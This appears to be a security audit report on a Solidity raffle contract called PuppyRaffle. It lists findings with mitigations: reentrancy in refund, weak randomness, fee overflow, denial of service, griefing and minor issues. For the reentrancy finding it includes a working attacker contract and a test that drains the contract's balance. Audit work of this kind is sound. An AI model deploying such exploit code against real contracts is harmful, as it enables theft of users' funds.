[H-1] Classic Re-entrancy allowing attackker contract to drain the wallet.

Description: The `PuppyRaffle::refund` replaces the player index with address zero "after" the money has been sent to the player.

Impact: All fees in the Raffle could be drained

```
    function refund(uint256 playerIndex) public {
        address playerAddress = players[playerIndex];
        require(playerAddress == msg.sender, "PuppyRaffle: Only the player can refund");
        require(playerAddress != address(0), "PuppyRaffle: Player already refunded, or is not active");

        payable(msg.sender).sendValue(entranceFee);

        players[playerIndex] = address(0);
        emit RaffleRefunded(playerAddress);
    }
```

A player who entered the raffle can have a `fallback`, `receive` function that re-enters the `puppleRaffe::Refund` function and keep calling it till thw wallet is drained

Proof of Concept:

```
    //ADDED REENTRANCY TESTS
        function testReEntrancyRefund() public {

        address[] memory players = new address[](4);
        players[0] = playerOne;
        players[1] = playerTwo;
        players[2] = playerThree;
        players[3] = playerFour;
        puppyRaffle.enterRaffle{value: entranceFee * 4}(players);

        ReentrancyAttacker attackerContract = new ReentrancyAttacker(puppyRaffle);
        address attackUser = makeAddr("attackUser");
        vm.deal(attackUser, 1 ether);

        uint256 startingAttackContractBalance = address(attackerContract).balance;
        uint256 startingContractBalance = address(puppyRaffle).balance;

        //attack
        vm.prank(attackUser);
        attackerContract.attack{value: entranceFee}();

        console.log("start attacker bal", startingAttackContractBalance);
        console.log("start contract bal", startingContractBalance);


        console.log("ending attacker bal", address(attackerContract).balance);
        console.log("ending contract bal", address(puppyRaffle).balance);


    }


contract ReentrancyAttacker {
    PuppyRaffle puppyRaffle;
    uint256 entranceFee;
    uint256 attackerIndex;

    constructor(PuppyRaffle _puppyraffle){
        puppyRaffle = _puppyraffle;
        entranceFee = puppyRaffle.entranceFee();
    }

    function attack() external payable {
        address[] memory players = new address[](1);
        players[0] = address(this);
        puppyRaffle.enterRaffle{value: entranceFee}(players);

        attackerIndex = puppyRaffle.getActivePlayerIndex(address(this));
        puppyRaffle.refund(attackerIndex);
    }
    function _stealMoney() internal {
          if(address(puppyRaffle).balance >= entranceFee){
            puppyRaffle.refund(attackerIndex);
        }
    }
    fallback() external payable {
      _stealMoney();
    }

    receive() external payable {
        _stealMoney();
    }
}
```

Recommended Mitigation:

1. add a reentrancy guard
2. initialize a storage variable to set a value when the function is been called and the value to checked to prevent another user from re-entrying into the function , it throws an error

[H-2] Weak Randomness in `PuppyRaffle::selectWinner` allows users to influence a winner

Description: Malicious users can manipulate this result to benefit them

Impact: HIGH Users can manipulate the raffle and claim the best rewards

```
        uint256 rarity = uint256(keccak256(abi.encodePacked(msg.sender, block.difficulty))) % 100;

        if (rarity <= COMMON_RARITY) {
            tokenIdToRarity[tokenId] = COMMON_RARITY;
        } else if (rarity <= COMMON_RARITY + RARE_RARITY) {
            tokenIdToRarity[tokenId] = RARE_RARITY;
        } else {
            tokenIdToRarity[tokenId] = LEGENDARY_RARITY;
        }
```

Proof of Concept:

1. Miners can know the `msg.sender` and `block.difficulty` to generate the rarity.
2. Users can reject their `selectWinner` if they dont like the puppy gotten.

Recommended Mitigation:

1. Consider using a provable off chain random generator like chainlink VRF.

[H-3] Integer Overflow of `PuppyRaffle::totalFees` loses fees.

Description: In solidity versions prior to `0.8.0` integers were subject to integer overflows

Impact: HIGH A big array of `PuppyRaffle::Players` can cause alot of fees to overflow, leaving fees to be stuck in the contract

```
totalFees = totalFees + uint64(fee);
```

Proof of Concept:

▶ Code

Recommended Mitigation:

1. Use a higher typecast to store variables like uint256 instead of uint64
2. Use newer versions of solidity.
3. Use the `safeMath` library.

[M-1] Looping through players array for duplicates at `PuppyRaffle::enterRaffle` is a potential Denial of service Attack (DOS)

Description: The `PuppyRaffle::enterRaffle` checks the player for duplicates, however, the longer the puppy raffles, the higher the gas and will prevent people from getting in the raffke

Impact: MEDUIM/HIGH Users may be prevented from getting into the raffle due to very high fees

Proof of Concept:

```
for (uint256 i = 0; i < players.length - 1; i++) {
            for (uint256 j = i + 1; j < players.length; j++) {
                require(players[i] != players[j], "PuppyRaffle: Duplicate player");
            }
        }
```

Recommended Mitigation:

1. Use a mapping to check for duplicates instead of loops
2. Consider not checking duplicate addresses because users can create a new wallet and get in as many times anyway.

[M-2]: `PuppyRaffle::getActivePlayerIndex` returns 0 for non-existent players nd for players at

index 0

Description: If a player is in the index 0 of the the `PuppyRaffle:Player` array, the player would think they are not existent

```
function getActivePlayerIndex(address player) external view returns (uint256) {
    for (uint256 i = 0; i < players.length; i++) {
        if (players[i] == player) {
            return i;
        }
    }

    return 0;
}
```

[M-3]: Unsafe typecast.

Description: unsafe typecast

[M-4]: Smart wallets without a receive a `receive` or `fallbank` function can block start of a new contest.

```
    (bool success,) = winner.call{value: prizePool}("");
    require(success, "PuppyRaffle: Failed to send prize pool to winner");
```

Impact: MEDUIM Can disrupt the contract and prevent winner from claiming reward. Can cause contract to revert alot and use alot of gas.

Proof Of Concept:

1. 10 smart contracts enter the lottery without a receive or fallback function
2. The lottery ends.
3. The `select::winner` function wouldn't work even though the lottery is over.

Recommended Mitigation:

1. Use mapping of addresses for payouts so the owner can collect his reward himself using a different function.

- Pull over push

[M-5]: Griefing attack due to balance check may prevent owner not to be able to withdraw fees

Description: A malicious attacker may force funds into this contract to prevent the owner from withdrawing funds

```
require(address(this).balance ==
  uint256(totalFees), "PuppyRaffle: There are currently players active!");
```

Impact `PuppyRaffle::withdrawFees` function will keep reverting & owner will be unable to withdraw the fees.

Proof Of Concept:

1. A user forces funds into this contract using maybe a self destruct function.
2. Balance becomes more than wallet.
3. The `PuppyRaffle::withdrawFees` reverts when called.

Recommended Mitigation:

1. require statement should be removed to prevent griefing attacks.

[L-1]: Solidity pragma should be specific, not wide

Description: Consider using a specific version of Solidity in your contracts instead of a wide version. For example, instead of `pragma solidity ^0.8.0;`, use `pragma solidity 0.8.0;`

- Found in src/PuppyRaffle.sol Line: 2 (src/PuppyRaffle.sol#L2)

  ```
  pragma solidity ^0.7.6;
  ```

[L-2]: Using outdated version of solidity not recommended.

- Found in src/PuppyRaffle.sol Line: 2 (src/PuppyRaffle.sol#L2)

  ```
  pragma solidity ^0.7.6;
  ```

Recommended Mitigation Please use newer version like `0.8.18`

[L-3]: Missing checks for `address(0)` when assigning values to address state variables

Assigning values to address state variables without checking for `address(0)`.

- Found in src/PuppyRaffle.sol Line: 63 (src/PuppyRaffle.sol#L63)

  ```
          feeAddress = _feeAddress;
  ```

- Found in src/PuppyRaffle.sol Line: 164 (src/PuppyRaffle.sol#L164)

  ```
          previousWinner = winner;
  ```

- Found in src/PuppyRaffle.sol Line: 188 (src/PuppyRaffle.sol#L188)

```
        feeAddress = newFeeAddress;
```

[G-1]: Unchanged State Variables should be declared constant or immutable

Instances

- `PuppyRaffle::raffleDuration` should be immutable.
- `PuppyRaffle::commonImageUri` should be constant.
- `PuppyRaffle::rareImageUri` should be constant.
- `PuppyRaffle::legendaryImageUri` should be constant.

[I-1]: `PuppyRaffle::SelectWinner does not follow CEI, which is not best practise`

```
-        (bool success,) = winner.call{value: prizePool}("");
-        require(success, "PuppyRaffle: Failed to send prize pool to winner");
        _safeMint(winner, tokenId);
+          (bool success,) = winner.call{value: prizePool}("");
+          require(success, "PuppyRaffle: Failed to send prize pool to winner");
```